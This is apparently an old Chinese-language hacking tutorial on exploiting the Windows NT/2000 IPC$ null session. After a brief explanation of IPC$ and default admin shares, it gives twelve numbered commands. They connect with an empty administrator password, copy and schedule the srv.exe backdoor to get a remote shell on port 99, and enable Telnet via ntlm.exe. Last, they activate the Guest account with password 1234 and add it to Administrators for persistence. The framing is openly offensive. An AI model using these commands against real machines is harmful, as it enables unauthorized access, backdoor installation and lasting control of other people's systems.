原理
IPC$(Internet Process Connection)是共享"命名管道"的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連線雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。
IPC$是NT/2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連線。
NT/2000在提供了ipc$功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享(c$,d$,e$……)
和系統目錄winnt或windows(admin$)共享。所有的這些,微軟的初衷都是為了方便管理員的管理,但在有意無意中,導致了系統安全性的降低。
平常所說的ipc$漏洞並不是一個真正意義上的漏洞,一定是指微軟自己安置的那個“後門”:空會話(Null session)。
方法
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"這是用《流光》掃到的用戶名是administrators,密碼為"空"的IP位址(空口令?哇,運氣好到家了),如果是打算攻擊的話,就可以用這樣的命令來與127.0.0.1建立一個連線,因為密碼為"空",所以第一個引號處就不用輸入,後面一個雙引號里的是用戶名,輸入administrators,命令即可成功完成。
2. C:\>copy srv.exe \\127.0.0.1\admin$
先複製srv.exe上去,在流光的Tools目錄下就有(這裡的$是指admin用戶的c:\winnt\system32\,大家還可以使用c$、d$,意思是C糟與D糟,這看你要複製到什麼地方去了)。
3. C:\>net time \\127.0.0.1
查查時間,發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00,命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧(這裡設定的時間要比主機時間快,不然你怎么啟動啊,呵呵!)
5. C:\>net time \\127.0.0.1
再查查到時間沒有?如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05,那就準備開始下面的命令。
6. C:\>telnet 127.0.0.1 99
這裡會用到Telnet命令吧,注意連線埠是99。Telnet默認的是23連線埠,但是我們使用的是SRV在對方計算機中為我們建立一個99連線埠的Shell。
雖然我們可以Telnet上去了,但是SRV是一次性的,下次登錄還要再激活!所以我們打算建立一個Telnet服務!這就要用到ntlm了
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。
8. C:\WINNT\system32>ntlm
輸入ntlm啟動(這裡的C:\WINNT\system32>指的是對方計算機,運行ntlm其實是讓這個程式在對方計算機上運行)。當出現"DONE"的時候,就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務!
9. Telnet 127.0.0.1,接著輸入用戶名與密碼就進入對方了,操作就像在DOS上操作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈)
為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活
11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼
12. C:\>net localgroup administrators guest /add
將Guest變為Administrator^_^(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這台計算機)